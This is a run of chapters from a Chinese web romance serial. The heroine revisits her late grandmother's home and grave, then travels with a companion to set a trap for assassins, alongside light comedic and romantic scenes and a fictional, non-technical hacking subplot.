沈娇不仅打包了十几个行李箱,还特意安排了满满十车保镖,从经历了未央台的生死劫,她对所谓的手足、至亲已经没有了当初的信任。 “到了淮城给我打电话,住的地方妈妈已经替你安排好了。”说罢,略有深意瞟了一眼车里沈归灵,小声道,“记住!只能住我安排的地方。” 沈归灵低垂着眉眼,置若罔闻。 上一世方眉对她的关心很少,她从未体会过被惦记的感觉,沈娇的为人强势,对别人向来不留情面,但偏偏是这样一个人给了她独一无二的宠爱, 姜花衫心里大为感动,隔着窗户拍了拍沈娇的手,“您就放心吧,我没几天就回来了,倒是您,一定要快点好起来。” 沈娇回拍她的手,“知道了。” 以前她总想着要给两个孩子多留些财富傍身,但死过一次后,她萌生了一个想法,她一定要长命百岁无病无灾,这样她的孩子才能岁月无忧。 * “少爷,姜小姐走了,您真不打算露面?” 沈园偏角,沈兰晞站在花窗前,阳光穿过格栅落在他深邃的眉眼里,他静静看着人群里的少女,那荒唐的念头就像烧不尽的野草在心里疯狂滋长。 “高止,你说人和人之间,有什么秘密是只有最亲密的人才知道的?” 人都要走了,你不去刷存在感还在这玩什么秘密猜题,是不是傻啊? 高止摸了摸下巴,“最亲密?那就只能是身上隐私的地方有胎记吧?比如,雷行的屁股上有个狗咬的牙印,一般人就不知道。” 沈兰晞沉默片刻,深深看了一眼趴在窗前的少女,转身步入兰亭。 * 第589章 山茶花花语 “这就是淮城?” 姜花衫坐在船头,眸光闲散看着眼前的风景。 临水而建的古老建筑,长满苔藓的青砖墙壁,沿岸倒映的梧桐影……是记忆里的那座城市,但因为空缺了太多时光,它已经变得有些陌生。 乘船的大爷回头看了她一眼,咧嘴笑了笑,“是啊,到淮城了,你们不是本地人吧?是来这旅游的吗?” 姜花衫一时分不清自己是哪里人,避而不谈指着远处的堆满高架的建筑,“那是什么地方?” 被包裹的建筑外又被披上了一块巨大的灰色幕布,看上去与整个城市格格不入。 老大爷看了一眼,眸光略有些唏嘘,“那是戏台,政府如今要大搞旅游业,那些老物件都过时了,所以要被淘汰咯。” 戏台? 姜花衫眼睑微颤,脑海中的光影如走马灯一一闪过。 每次大雨转晴,奶奶总是会在院子里晒衣服,那些衣服都很奇怪,大红大绿宽袍水袖。她贪玩,总爱披着色彩鲜艳的衣服假扮公主,奶奶每次都会笑着在旁边鼓掌。 后来,等她再长大一点,爱臭美爱显摆,便穿着那些奇怪的衣服去街上玩,但周围的小伙伴都笑她。 “你这才不是公主,公主裙都是粉粉嫩嫩闪闪亮亮的,才不是你这样的,你是唱大戏的!哈哈哈哈!” 周围的大人喝退了出言不逊的小孩儿,然后对她说教,“这是你奶奶一辈子的心血你怎么能这么糟蹋?戏服对戏曲人来说就是命根子,赶紧洗干净了挂回去。” 那天她明白了两件事,一,原来那些花花绿绿的奇怪衣服叫戏服,二,她连假扮公主都假扮不好,那以后一定不会是公主了。 很奇怪,小女生总爱幻想自己是公主,对于不能成为公主这件事有时候甚至比考试不及格还难过。 她回到家里,发现奶奶把她弄脏的戏服又洗了一遍,皂角的清香被阳光放大的十倍。 “奶奶,对不起,我弄脏了你的宝贝。” 五岁的年纪身材矮小,尽管她已经很小心,戏服还是拖到的地上。 奶奶察觉到她不开心,蹲下身摸了摸她的头,“奶奶看看,脸好像是脏了,奶奶给你洗洗?” 她一头扑进奶奶的怀里,“奶奶,他们说我不是公主,说我穿上去像唱大戏的。” 奶奶抱着她坐在廊下,轻轻拍着她的肩膀,“小花儿,你能成为什么样的人,他们说得不算,你穿什么更加不重要。” 她抬起头,似懂非懂,“那谁说的算?奶奶吗?” “奶奶说的也不算。”奶奶笑了笑,低头贴着她的额头,“只有我们小花儿自己说的才算。” 她的眼睛瞬间有了光彩,带着对未来憧憬,“真的吗?我这么厉害?” 奶奶点头,“嗯,我们小花儿最厉害了。” “可是奶奶,他们说这些戏服是你的命根子,我以后不玩了。” “那是以前,现在奶奶的命根子可不就在怀里?过去再值得留恋也比不过眼前的岁月静好……” 乌船在水巷中慢慢缓行,水面的倒影在波光中一点点碎裂又慢慢回塑。。 沈归灵见她望着楼台许久没有说话,主动开口,“楼台拆了要建什么?” 老爷子抽了一口旱烟又继续别回腰间,“听说来了个大老板,要建个水上乐园。这些年外面的世界发展太快,许多年轻人都不愿意回来,乐园落成也是好事,万一成了红楼华灯也不过是换了个方式继续热闹。” “过去再好,人总得往前看呐~” 姜花衫思绪转回,此时再看那些被现代广告遮住的旧楼,心境已经完全不同。 她勾了勾嘴角,指着不远处的三角梅桩,“大爷,在那个路口把我们放下来就行了。” “好嘞。”老大爷身手矫健,长杆一收抵着青石板慢慢靠岸。 沈归灵跟上前,正准备伸手,姜花衫一个箭步跳上了岸。 “……” * 阔别八年,终于回来了。 姜花衫深吸了一口气,顺着记忆里的方向走进小巷,一入深巷,两边的都是青石老墙,院落斑驳到处都是岁月的痕迹。沈归灵安静跟在姜花衫身后,地上的影子交叠相依。 走过一片芭蕉群,姜花衫停下了脚步,她记得这里,小时候遇见大雨天,她都特意来这里摘一片芭蕉叶做伞,然后顶在头上听雨打芭蕉的声音。 她还记得,芭蕉群转过下个路口就是家。 她抬脚,慢慢转过过路口,当记忆里的院门出现在眼前,她眸底的景象忽然错乱,恍然有种不知今夕何夕的感觉。 沈归灵看了她一眼,牵手伸进她的指缝,拉着她往竹篱门走去。 “诶……”姜花衫慢了半拍,小跑了几步跟上,“你别拉我……” 沈归灵站定,牵着她的手抵上门环,“到家了,开门。” 到家了? 姜花衫愣了愣,回身时她的手已经扣住了门环,突然间与这小院共生十年的记忆翻涌而上。 她轻轻推开门,长年积累的灰尘轻飘飘落在肩膀,秋风拂过,荒芜的院景好似活了一般。 “小花儿回来了?” 院里的老人放下手里的针线活,笑容慈祥站了起来。 姜花衫指尖轻轻颤动,往前走了一步,眼前的幻象骤然消失,目之所以是满院长得比人还高的杂草。院子荒废了太久,早已物是人非,除了院里那棵养了几十年的山茶花树。 岁月仿佛在它身上静止了一般,釉质白花压满枝桠,光斑在苔痕斑驳的砖地上游移,一一拂过地面掉落的残花。 山茶花是为数不多冬季也开花的花卉品种,在寒冬绽放,在春季告别,不同于一般花朵逐瓣散落,山茶凋零在最绚烂时,连同花梗整体脱落,给人一种失我者永失的决绝。 沈归灵的目光在院里的山茶树停留了片刻,轻声道,“你怎敢轻视我的爱?” …… 第590章 失我者永失 姜花衫原本还在记忆里游离,猛然听见这句话,忽然像被什么惊醒了一般,满脸诧异看向沈归灵。 沈归灵怎么知道剧目之门给小可怜的定义?! “你刚刚说什么?” 沈归灵只是有感而发,见她反应激烈不觉一怔,指着地上掉落的花朵,“山茶花的花语。” 花语?! 姜花衫的心好似被什么挠了一下,略有些失神看着眼前的老树。 “……奶奶的命根子可不就在怀里?过去再值得留恋也比不过眼前的岁月静好……” 所以奶奶才会在临终之前将她托付给爷爷。 因为奶奶爱她。 原来奶奶早就从过去解脱出来了,她不穿戏服,不唱青衣不是因为留恋红楼,是因为她知道戏曲已散,她要做回现实里的姜昕。 她笑了笑,不知道为什么,看着眼前这棵绚烂的山茶树,她感到前所未有的轻松。 原来这个世界到处都有爱她的痕迹。 姜花衫回身,拨开茂盛的杂草,盘腿坐上挑檐,“以前我坐在这,两只脚不管怎么晃都挨不着地,没想到现在都不够我撑脚了。” 沈归灵笑了笑,走上台阶,弯腰打量墙角的涂鸦,“你画的?” “嗯。”她得意抬了抬下巴。 儿时贪玩,拿什么就往墙上画,酱油,醋,烧枯的柴火棍,要换作别人家,屁股早被打开花了,但奶奶从不责备她,她总说这些是她天马行空的翅膀,有一天能带着她飞去更广袤的天空。 现在想来,奶奶从未以爱之名束缚过她,在她很小的时候就已经拥有了奶奶给她的宝贵财富。 ——不被羁绊自由。 正是因为如此,所以她才和鲸港那个囚笼世界格格不入,她才能衍生不一样的灵魂。 原来她的来时路就在这。 沈归灵被她眼里的骄傲逗笑了,走上前与她一起坐在檐下看花。 微风徐徐,树上的茶花不断掉落,将失我者永失的决绝演绎到了极致。 “……” 许久后,姜花衫伸了伸懒腰,跳下沿台,“走吧。” 沈归灵站起身,拂走她肩上的落花,“不再待会儿?” “不了。” 她笑着朝院里的山茶花作别,又转身朝廊下挥手,“过去再好,人还是得要向前看。” 沈归灵,“那,我们下一步去哪?” 她想了想,“去看奶奶。” * 姜昕的身后事当年是沈庄亲自料理的,知道她喜欢清净,沈庄特意买下了一座山供她栖身。 这么多年姜花衫从来没有回来过,原以为墓碑也会像小院一样荒芜,但出乎意料的是,这里风景宜人,每一步青石台阶都光亮如洗,墓碑前还供奉着一束鲜花。 这里一看就是有人细心打理过。 姜花衫跪在墓碑前,认认真真磕了三个响头。 沈归灵见状,弯腰躬身从怀里拿出一支山茶花放置墓碑前。 “这么久没见了,你们一定有很多话说,我去那边等你。” 说完,便转身离开。 姜花衫直起身,笑着抚摸墓碑上的铭文,“我这么久才来看您,您会不会生我的气啊?” “那个时候您突然丢下我,我生气极了,才会说出讨厌奶奶的混账话。” “其实,我最爱奶奶了。” …… * 鲸港。 “怎么样?查到什么?” 周宴珩坐在偌大的玻璃窗前,漫不经心操控着手机。 夏星沉放上一张黑色芯片,“这是从监控设备里拆出来的,理论上只要拆解了芯片上的代码,就能追踪到监控传播的数据库。” “那就拆。”说话的功夫,周宴珩已经做空了傅氏东湾的三只能源股,等了一会儿,不见夏星沉回复,他才抬眸,“怎么?有问题?” 夏星沉点头,“如果芯板上有防追踪代码,对方很有可能会发现会通过追查信号反追踪回来。” 周宴珩不语,冷冷看着他。 夏星沉权衡片刻,继续道,“之前我遇到过类似的情况,不仅没能查出对方的身份,还暴露了自己的位置。” “之前?这么说你们已经交过手了?” 夏星沉垂眸,没有接话。 周宴珩收了手机,“看来,你还是没有考虑清楚。” 这几个月,夏星沉秘密替他做了很多事,这把刀他用起来颇为得心应手,便想将夏星沉挖过来,但不管他出手多大方,夏星沉始终不肯出卖他背后那个人。 “我以为像你这样的聪明人应该是唯利是图才对。” 说着,他随手将桌上的黑色手提袋推了过去。 夏星沉不是第一次跟周宴珩打交道了,袋子里装的什么他心知肚明。下个星期医院的催缴单就会下来,周宴珩每次都能精准把控,他根本没有拒绝的理由。 思忖片刻,夏星沉提过手袋,“对方是个高手,就算是我也未必能破解。” 周宴珩笑了笑,“正好,试试他有多厉害。” 夏星沉打开电脑,插上芯板,开始破译。 数据比想象中的还要复杂,但这正好也激发了他的胜负欲,上次是一时大意才被反追踪,这次倒要看看,到底谁更胜一筹? 夏星沉的指尖飞快,键盘哗哗作响。 周宴珩转过头,百无聊赖看着脚下的风景打发时间。 * 与此同时,淮城。 “滴滴——” 沈归灵站在半山腰吹风,口袋里的手机冷不丁传来异响。 他敛着眸光,拿出手机切换系统。 数据栏中,翡翠山庄的监控显示异常,点进追踪芯片的数据,当前芯片数据已经全部瘫痪。 看来是有人发现了监控器,所以里面的视频内容全部被格式化了。 沈归灵指尖微抬,目不转睛看着眼前不断跳动的乱码字节。 不止发现那么简单,竟然还想追踪他?! 这代码参数看着有些眼熟。 忽然,他眸光微亮,想起之前姜花衫利用男模调查方眉差点被反追踪的事。 难道又是同一伙人? 沈归灵抬眸往山顶看去,想了许久,轻轻点了点屏幕…… * “找到了!” 夏星沉将电脑递上前,点着地图上的红点,“他在东湾。” 周宴珩侧眸,神情淡淡,“东湾?你确定没弄错?” “我的数据是不会说谎的。” 原本以为幕后之人是姜花衫,但姜花衫在鲸港,那这个人是谁呢? 周宴珩兴趣缺缺,将定位发到聊天室便退出了房间。 既然不是她,那就留给其他人解决。 …… 第591章 不一样的开心 “走吧。” 姜花衫从山上下来时,已经完全收拾好了心情。 沈归灵抬眸,盯着她的眼尾看了看,故作不经意,“去哪?” “累了一天了,先回女王安排的酒店休息吧。” 沈归灵往山顶看去,“明天还来吗?” 姜花衫摇头,该说她都已经和奶奶说完了,对于淮城她最后一点遗憾也释怀了。 沈归灵笑了笑,递上手机,“那……换个地方放松心情?” * 一个小时后,雷行驾机,莫然坐在副座,姜花衫拿着沈归灵的手机,四人登机直飞东湾。 淮城是东湾的一个不起眼的小县,去省市没有直达车,对于沈归灵随手掏出一辆直升机,姜花衫还是有几分震惊的,毕竟三傻里面,这家伙可是最穷的。 沈归灵一眼便知她在想什么,有些无奈,“姑姑安排的。” 难怪,姜花衫恍然,又把目光转回手机屏幕,“你说方眉已经开始追踪了?” 从她知道方眉和姜晚意是剧目安排的迷惑剧情后,她就一直警惕着这两母女。姜晚意虽然不怀好意,但她提供的某些情报还是很有价值的。 比如,方眉的确曾经和沈家的某人联系过,也的确对沈娇起过杀心,只不过基于某种原因这个杀机被转移了。 至于姜晚意,她的心思就更不难猜了,毒蛇怎么会甘心受制于人,所以她想借她的手除掉方眉,以此彻底摆脱方眉的控制。 只可惜,所有棋局里,她们都低估了她。 这段时间她故意冷落姜晚意就是想激怒她,以毒蛇睚眦必报的性格,一定会把所有事都推到她的头上,方眉为了自保,一定会联合她背后的人对付她。沈娇的命已经保住了,她的筹码已经dOUble,正好她也厌倦的找‘内鬼’的游戏,所以不如让那些“鬼”主动送上门。 原本姜花衫打算在淮城休息几天就开始计划,没想到沈归灵帮她把日程提前了。 “可是,为什么要把他们引来东湾?” 正常来说,不是应该回鲸港再处理更保险? “傅家自两年前元气大伤后,一直囤积在东湾,傅嘉盛现在是东湾州长,这两年靠着地方经济拿下不少政绩,在他的地盘动手,不仅可以给他增加点‘业绩’,还可以顺便试探一下傅家和这群人有没有牵连。” 姜花衫瞪大了眼睛,“可是,你也说了,东湾是傅家的地盘,万一这些人有勾结,那我们岂不是自投罗网?” 沈归灵,“不知而为才叫自投罗网,我们这是明知故犯。” 姜花衫皱眉,“有什么区别?” 他笑了笑,“当然有区别,自投罗网是送死,明知故犯是挑衅,来都来了?不如玩把刺激的。” “……玩?” 他把一堆想杀她的人召集到把她视为眼中钉的仇家家门口,就是为了带她玩? 姜花衫眼角抽了抽,突然有点后悔没问清楚就上了飞机。 “现在去哪啊?” “先休息。” 钢铁翅膀在夜幕中飞翔,机身划破云霄绕进了霓虹满目的囚笼最终降落在城市边郊深山旅馆。 舱门刚打开,姜花衫便忍不住探出头四处打量,“怎么会有人把旅舍开在这么偏僻的地方?” 沈归灵无比自然牵着她的手,扶着她下机。 虽然旅舍开在深山,但装修的格调出乎意料的高雅,处处彰显禅意,但最让人意料的是,酒店竟然还设有专门停私人飞机的草坪,而且草坪上已经停了不止一辆飞机,最夸张的是连民用战机都有。 姜花衫愕然,回头看向沈归灵,“这什么地方?” 不等沈归灵回答,一群旅舍的工作人员开着浩浩荡荡的旅游车出来迎接。 “贵客晚上好,欢迎来到青山居客,我是您的旅舍私人管家,一路辛苦,现在带您去入住的房间。” 姜花衫一把揪住沈归灵衣角,“你安排的?” 沈归灵摇头,“是姑姑。” 姑姑?女王?! 姜花衫愣了愣,“女王也知道我来东湾了?” “嗯。”沈归灵点头,“不然你以为我怎么能这么轻易把你带出淮城?放心吧,这里是姑姑的产业,人也是她安排的。” 一行人坐上观光车向山顶出发。 依山而建的旅舍仿佛与大山融为一体,这哪是禅意?分明是金钱的味道。 两人并肩坐在后排,微风拂面甚是惬意。 姜花衫侧头看了沈归灵一眼,“你怎么说服女王让我来东湾的?” 以沈娇的性格,要知道她是来这抓内鬼的肯定不会同意。 沈归灵看向天边的星幕,“没说什么,就说你想出来散散心?” “这么简单?” 沈归灵笑了笑,用盛满星光的眼睛看着她,“就这么简单,她想要你开心。” 沈娇一直担心姜花衫会因为淮城之旅勾起许多伤心事,所以,沈归灵跟沈娇提出带姜花衫出来散心时她想也没想就同意了,甚至根本不在乎东湾是傅家的地盘,在沈娇看来,什么事都没有女儿开心重要,其他的,钱都可以摆平。 姜花衫故作淡定转过目光,嘴角却不自觉笑了起来。 一趟旅程中,不断发现有人爱着她,这种感觉于她而言有些新鲜。 但很快,姜花衫就笑不出来了。 “贵宾您好,这是给两位安排的私汤情趣房,私人用品已经提前收拾妥当了,祝两位在青山居客度过美好的一晚。” “……” 私汤情趣房? 这房间名就叫这个? 她转身看向正中央摆着的五米的大圆床,好像忽然就懂了,为什么这旅舍开在深山还有人坐飞机来光顾? 原来女王想让她开心的开心,和她以为的开心不是同一个开心。 …… 第592章 你很紧张? 私人管家走后,房间里鸦雀无声。 姜花衫手动扯了扯抽搐的嘴角,若无其事推开露台的玻璃门,“夜景还挺好的。” 外阳台连接着无边泳池,水温刚刚好好冒着热气,这样的氛围看星空,每一颗星星都好像会眨眼睛。 沈归灵跟着走进露台,仰头望着夜幕,“这样的夜景沈园也不多见。” “风好大,吹得头疼。” 姜花衫抿嘴笑了笑,转身推开连接露台的偏室,这么大的屋子不可能只有一个房间吧? 刚推开旋转玻璃门,她就后悔了,又是一个巨大的浴缸,上面还冒着各种气流,浴缸旁边还贴心摆放着各种放东西的椅子。姜花衫默默关上门,从原路绕回,刚进主厅赫然发现卧室里除了床还有个玻璃浴缸。 “……” 真不愧是私汤情趣房,加上淋浴间的冲浪浴缸,房间里一共四个缸。 姜花衫在心里暗叹了一声,正要转身,沈归灵从露台外面走了进来,推开电视墙的隔断,“我今晚就睡这。” 隔断后面连接的是个偏厅,偏厅里摆着一张双人床,墙面四周都是钢架玻璃,玻璃安装了内置百叶。 姜花衫一直在沈归灵面前扮演的都是主导型塘主,未免露了馅,她故作淡定嗯了一声,“你现在还在考察期,晚上不准随便溜达,要是不老实分就全没了。” “知道了。”沈归灵一副温良无害的模样,转身往洗浴间走去。 姜花衫愣了愣,“你干嘛?” 沈归灵也愣了愣,“洗澡。” 姜花衫立马意识到自己反应过激了,摆摆手,“去吧去吧。” * 另一边。 氛围感情趣房。 灯光昏暗朦胧,空气中弥漫着若有若无的馨香,雷行和莫然看着头顶飘下的花瓣雨,此时的沉默震耳欲聋。 恍了许久,莫然清咳了一声,“都是为了少爷,雷管家,今晚就辛苦你打地铺了。” 雷行站起身,正要应口忽然想到什么,皱了皱眉,“凭什么我打地铺,你是新来的,资历远不足我,按规矩应该是你打地铺。” “……”莫然整个无语,她算是看出来了,雷行从头到尾只把她当成竞争对手,压根无视她的性别。 正好,她最讨厌的就是别人拿她的性别说事。 莫然指着身旁的大床,“既然如此都睡床,你左我右,井水不犯河水。” 雷行勉为其难点头。 分好了领土,莫然借着幽暗的灯光摸向淋浴间。 雷行的胜负欲立马又勾了起来,“你做什么?” 莫然,“洗澡。” “凭什么你先洗?我才是少爷身边最亲近的人。” “……”莫然咬牙,“那你先!” 雷行皱了皱眉,“我不需要你让,一起。” 话音刚落,屋内的灯光骤灭。 “啪——” 屋里响起一记脆亮的巴掌声。 …… * 山里的风轻轻吹动翠绿的薄纱,月光落在花梨色的地面仿佛披上了一层霜色。 姜花衫睡得有些不踏实,侧脸在丝绸的枕巾上蹭了蹭,无意识往后翻了个身。 忽然,皎洁的月光中伸出一只手,轻轻拍了拍她的肩膀,等到被褥起伏平缓,那只手才慢慢抬了起来。 沈归灵单手托腮,侧卧在床中央,目不转睛看着眼前的女孩儿。 “……” * “松手……” 梦里,剧目之门的藤蔓忽然失控了一般缠上她的身体,姜花衫气极,用力撕扯着身上的枝条,但这次却一点作用都没有,那些枝条越缠越紧,勒得她都快要穿不过去气了。 蓦地,她被吓出了一身冷汗,强行睁眼,一道强光陡然摄入眼球。 “……” 是梦? 姜花衫想捂头,突然发现自己的手不见了。 她愣了三秒,低头看向自己。 她全身被包裹在被子里,完全不能动弹。 “沈!归!灵!” 片刻,沈归灵推开雕花隔断,慢条斯理从房间里走了出来,“怎么了?” …… 第593章 “勾引” “贵宾,这间房您觉得怎么样?采光通风好不说,位置也相对安静私密,保证不会有人打扰。” 打扰? 姜花衫觉得自己有些被带坏了,听什么都黄黄的。 她故作严肃,围着房间绕了一圈,趁沈归灵在和雷行、莫然说话,一把拉过管家,小声道,“你们这还有没有房间?给那家伙单独安排一间。” 管家愣了愣,老实巴交摇了摇头,“没有了。您空出来的那间房间,您的同伴刚刚定了。” “定了?”姜花衫回头看向一旁的三人。 雷行顶着半边巴掌印,义愤填膺,“少爷,这次真不是我的问题,是她太霸道了,您看她把我给打的!” 相比莫然的情商要高出许多,“少爷,我和雷管家的处事风格截然不同,为了避免频繁冲突还是给我们换个房间吧?” 她到现在都忘不了,那漆黑的房间里,灯光一会儿明一会儿暗,她刚举起巴掌,眼前的雷行就不见了,他们就在这忽闪忽闪的氛围光里捉了一晚上的迷藏。 沈归灵倒没说什么,直接将提前安排好的房卡递给莫然。 “?”姜花衫沉默片刻回头看向管家,“没了?” 管家点头。 * 东湾。 亚荷酒店。 一群西装革履的男人被门童迎进酒店,守在前台的大堂经理见众人西装革履仪表堂堂立马笑着迎上前。 “请问诸位是来参加东湾州市招商会的吗?” 从傅嘉盛当上东湾州长后,一直大力扶植商业,为了快速振兴东湾,他不断利用往年积累的人脉资源吸引外地投资商入住东湾,眼下正值一年一度的市政扶持招商会,实力的投资商慕名前来。傅嘉盛为了笼络好这些钱袋子,特意定下了全市最好的商务酒店供投资商休息。 为首的男人点头。 经理更加殷勤,“麻烦各位先去前台办理入住手续,验证通过会有专门的人员带诸位去VIP馆。” 男人回头看了助理一眼,助理点头拿着资料去前台登记,不消片刻便核实通过,经理验证信息后,招来同层保安。 “带贵宾过去。” 一行人立马跟随保安走进VIP通道,进入乘坐电梯,保安从怀里拿出电梯卡激活后,按下了20楼。 男人见状不免有些好奇,“所有招商人员都在二十楼吗?” “20楼到26楼都是像您这样被专门邀请的贵客,5-16楼是基本是外来旅客,17-20楼是被招商项目吸引,主动过来了解的客人。” 男人心中立马有了分界线。 保安尽职尽责将几人领到房间门口,热心叮嘱道,“您们的房号是2009、2009、2010,为了保证贵宾的隐私,电梯必须用房卡激活才能使用,并且只能到达住宿楼层,你们的行李都在这了,如果需要帮助可以拨打前台电话。” 男人点头,刷卡进屋。 身后的同伴拎着行李箱紧随其后。 保安见状也没在意,走进电梯后还在啧啧感叹,“看这气度,是来了个大老板啊。” 屋内。 为首的男人一进屋立马拉开窗帘,从口袋里拿出折叠望远镜。 其余人打开行李,两人开始组装电脑接收器,另外一人在检查弹药,还有一人翻箱倒柜检索现场环境。 为首的男人对着窗外探查了一圈才拉上窗帘,“酒店的设备新换过,跟之前的资料有出入,老二,你抽空去外面转一圈,把所有出入口都重新标记一遍。” 被称为老二的男人正是检查房间的人,听罢点了点头,“知道了。电梯只能到达房间楼层这点有点限制,老三弄一下。” 老三早有准备,手指在键盘一顿操作,房卡往感应器上轻轻一碰就解决了。 “拿着。”他把房卡扔给老二,随手从行李箱里拿出一瓶灌装酒,“找到了,那鳖孙现在在15楼。” 闻言,一群人立马挤到电脑前。 老四放下枪支,点了根烟,“怎么说?今晚就动手?” “急什么?”为首的男人目光幽深看着屏幕上的黑点,“上面的意思是查清楚这鳖孙的身份,老五,你想办法摸进15楼,先看看这鳖孙长什么样儿?” “是。” * “市政招商大会?” “嗯。”沈归灵将提前收集好的资料递给她,“傅嘉明明显是想效仿沈谦的升迁之道,但东湾不像南湾有港口作为支撑,所以傅嘉明必须另辟蹊径,他也算有点脑子,知道因地制宜,把旅游业和影视业合并,推出了影视城计划。影视城的版图很大,商机遍地都是,这次东湾的招商大会A国优质的投资商基本都到齐了。” “到时候我们藏在这群人里面,招商会那么多人,那些杀手不可能把所有人都杀了,等他们慢慢摸查就一定会透露自己,到时候我们再顺藤摸瓜看看背后到底是谁在搞鬼?” “恐怕不仅是顺藤摸瓜那么简单吧?” 傅家如此造势,一定把招商会看的很重,若招商人员收到伤害,傅家一定不会纵容凶手,想知道傅家和这群人有没有关系,就看傅家怎么对凶手的态度如何? 姜花衫看着手里事无巨细的资料,不得不感叹被剧目偏爱的脑子就是不一样,如此一来他们甚至不用出面,就把所有节奏都掌控在了自己手里。 果然,他就是明知故犯。 沈归灵从未想过要在她面前遮掩什么,笑了笑,“你先看会儿,我去洗澡。” 姜花衫双腿盘坐在沙发上,沈归灵说话的时候微微靠向她的肩膀,说完又若无其事站起身。她假装毫不在意,专心致志看着招商会的资料。 沈归灵低眸睨了她一眼,什么话都没说转身进了洗浴间。 等到浴室传来流水声,姜花衫一言难尽吐了一口闷气,“沈归灵这勾引人的手段到底是跟谁学的?到点就洗澡。” 忽然,她嘴角抽搐,死去的记忆翻然涌现。 上一世,她和沈兰晞结婚后她就跟着一起住进了兰园,沈兰晞并不喜欢她,从她搬进兰园第一天就提出分房睡,她当时并没有意识到沈兰晞对她有多厌恶,只觉得他只是不喜欢被掌控的感觉。 为了增进夫妻感情,她学着放低姿态,嘘寒问暖,会在他要出门的时候拉着他的袖摆,小声暗示,“我洗完澡了。” 但每一次,沈兰晞都无动于衷。 之前她一直以为是沈兰晞太古板了,所以才听不懂她的暗示,直到后来被沈兰晞赶到沈园她才终于醒悟,他不是不懂,是真的没有心动过。 …… 贴一张书粉宝宝(ID:一团漆黑的九重忍)AI的周宴珩: 第594章 明知故犯 瞎了眼的狗东西! 姜花衫紧紧攥拳,一想到自己竟然失心疯讨好过沈兰晞,全身上下就有股无名之火。 谁都有缺心眼的时候,就算是她也不例外。 姜花衫十分平静拿起手机,找到沈兰晞的头像,连续点了几十个的大便表情发了过去,不等那边回应直接把人拉黑。 吃屎吧你! 卫浴间的水声早就停了,沈归灵头上挂着依靠在门边,晶莹的露珠不断凝结从发梢坠落,他眼神安静,一动不动看着沙发上的人影。 屋里的气氛针落可闻。 过了许久,姜花衫终于察觉出了异样,抬起头的瞬间,毫无准备地撞进了一双漆黑的眸光里。 那眼神仿佛一根凝聚形态的藤蔓,慢慢向她延伸。 姜花衫心里咯噔了一下,正要开口,忽然房间里的灯光骤灭,她吓了一跳,下意识以为是酒店停电了,正想拿电话给前台打电话,屋顶上亮起星星点点的光,这些光像极了剧目世界里粒子,一时间她都有些分不清眼前到底是哪个世界。 正当她恍惚时,一只手拨开穿过光源轻轻落在了她的侧脸,身下的软垫因为多了一个人的重量发出被摩擦的窸窣声,昏暗的灯光下,所有感官会被无限放大,这声摩擦也显得尤其抓耳。 “沈……” 她刚开口,指尖抵住了她的唇珠。 肇事者低头,用鼻尖蹭了蹭她的嘴角,声音极轻,“我洗完澡了。” “轰——” 姜花衫脑子顿然爆炸,因果的回旋镖正中她的眉心。 她慢慢掀开眼帘,眸光刚落在沈归灵脸上灯光又再次寂灭。 “……” 呼吸声相互交织,沈归灵抬手勾着她的脖子,试探性地吻了吻鼻尖,见她没有反应低头吻住她了唇。 姜花衫眼睑动了动,漆黑的视线里,两个人的眼睛亮得惊人。 沈归灵先闭眼,滚烫的指尖慢慢伸进发丝…… …… * 兰园。 【叮咚——】 定置消息跳出界面时,沈归灵正在开视频会议,这个时候能打进电话和发送消息的一定都是重要信息,他淡淡扫了一眼,待看见是被特别标记的人眸光微亮。 他随意拿起手机,原本期待的心情在看见满屏的大便后陷入了沉默。 视频里的人看出了他情绪不对立马停止报告。 “继续。”沈兰晞面不改色,点了个问号发送。 但让他万万没想到的是,姜花衫立马还了他一个红色惊叹号,她把他拉黑了。 “……” 发送了几千遍好友申请才加上,结果才说了不到三句话就把他拉黑了? 沈兰晞再好的修养也忍不住动怒,直接拨通了姜花衫的电话。 见状,视频里的人再次停止汇报。 能让君王临朝时头脑发昏的只能是那个祸害,高止看破不说破,默默给沈兰晞倒了杯热茶。 电话通了,但是没有人接,一阵忙音过后,沈兰晞挂了电话。 但不知为什么,他忽然感觉心绪不宁,才出去一天就莫名其妙拉黑他,这可不是好现象。 沈兰晞捏了捏眉心,“高止,去查。” “是。” * (细节明天整理发裙~) 再一张书粉宝宝的图 第595章 套话 这憨货,全身上下就一个心眼子都用在她身上了。 莫然气得牙痒痒,正要走人,房间的门打开了。 “你们两个进来。” 老板发话不能不听,莫然犹豫片刻跟着雷行进了房间。 沈归灵穿戴整齐坐在主厅,“找写完有事?” 雷行进屋后,唯恐看见什么不该看见的,半捂着眼睛摸索前进。 “……”莫然像看傻子一样瞥了他一眼,直接略过径直走到沈归灵面前。 “少爷,按照您的吩咐,昨夜十五楼的暗线故意和凶手交火引发暴动,东湾警署厅已经把亚荷酒店围起来了,招商会开业在即,警方弄出这么大的动静想必是傅家人的意思。” 等了一会儿不见沈归灵表态,莫然不禁有些疑惑,“少爷?” 沈归灵眼睑动了动,“继续盯着。” 原本他计划带姜花衫去东湾玩把刺激的,但昨晚之后,他忽然觉得什么刺激都抵不过与她独处,到现在他都忘不了那种腺上素飙升到连头皮都酥麻的感觉…… 莫然明显感觉到沈归灵的兴致不高,淡笑着点了点头,“是。” 雷行全程比沈归灵还不在状态,蒙着眼睛打量了一圈,确定不会非礼勿视才松了一口气,“少爷,您……” 不管什么原因,男女独处一室就是不合规矩,雷行的道德感又开始作祟。 正要开口劝说忽然瞥见一旁的莫然,他立马改口,“少爷,其他的都好说,但小少爷请务必交给我照顾。” 这一刻,胜负欲战胜了高道德。 “啪——” 沈归灵还没来得及反应,卧室里便传来一声异响。 他脸色微变,顾不上雷行起身进了卧室。 “少……” 雷行还想跟上去,路过莫然时被什么绊了一下险些栽倒在地。 “你什么意思?”雷行早就受够了这个阴险小人,但碍于沈归灵还是隔壁房间不敢声张,“阴险小人。” 沈归灵的脾气只是看似温和,并不是真的温和,莫然懒得跟这憨货解释,不客气回怼,“你想死别拉上我。” 雷行略有些不悦,回头便看见卧室门从里面关上了。 他的表情瞬间裂开,眼里满是忠诚和败德的拉扯。 “他们……他们要做什么?该不会……白日淫喧,伤风败俗,怎么也不顾及小少爷?” “……” 莫然闭了闭眼,现在的年代还能说出白日淫喧可见思想有多古板,但怎么关上门就只想到伤风败俗的事?就不能是拉着小手说说话?雷行的道德标杆是‘斜杆’吧? 她不想跟傻子为伍,转头坐回了沙发。 雷行有些低落,但犹豫片刻还是没有跟进卧室,回头见莫然拿着电脑在一旁办公,眸光暗了暗上前挑事。 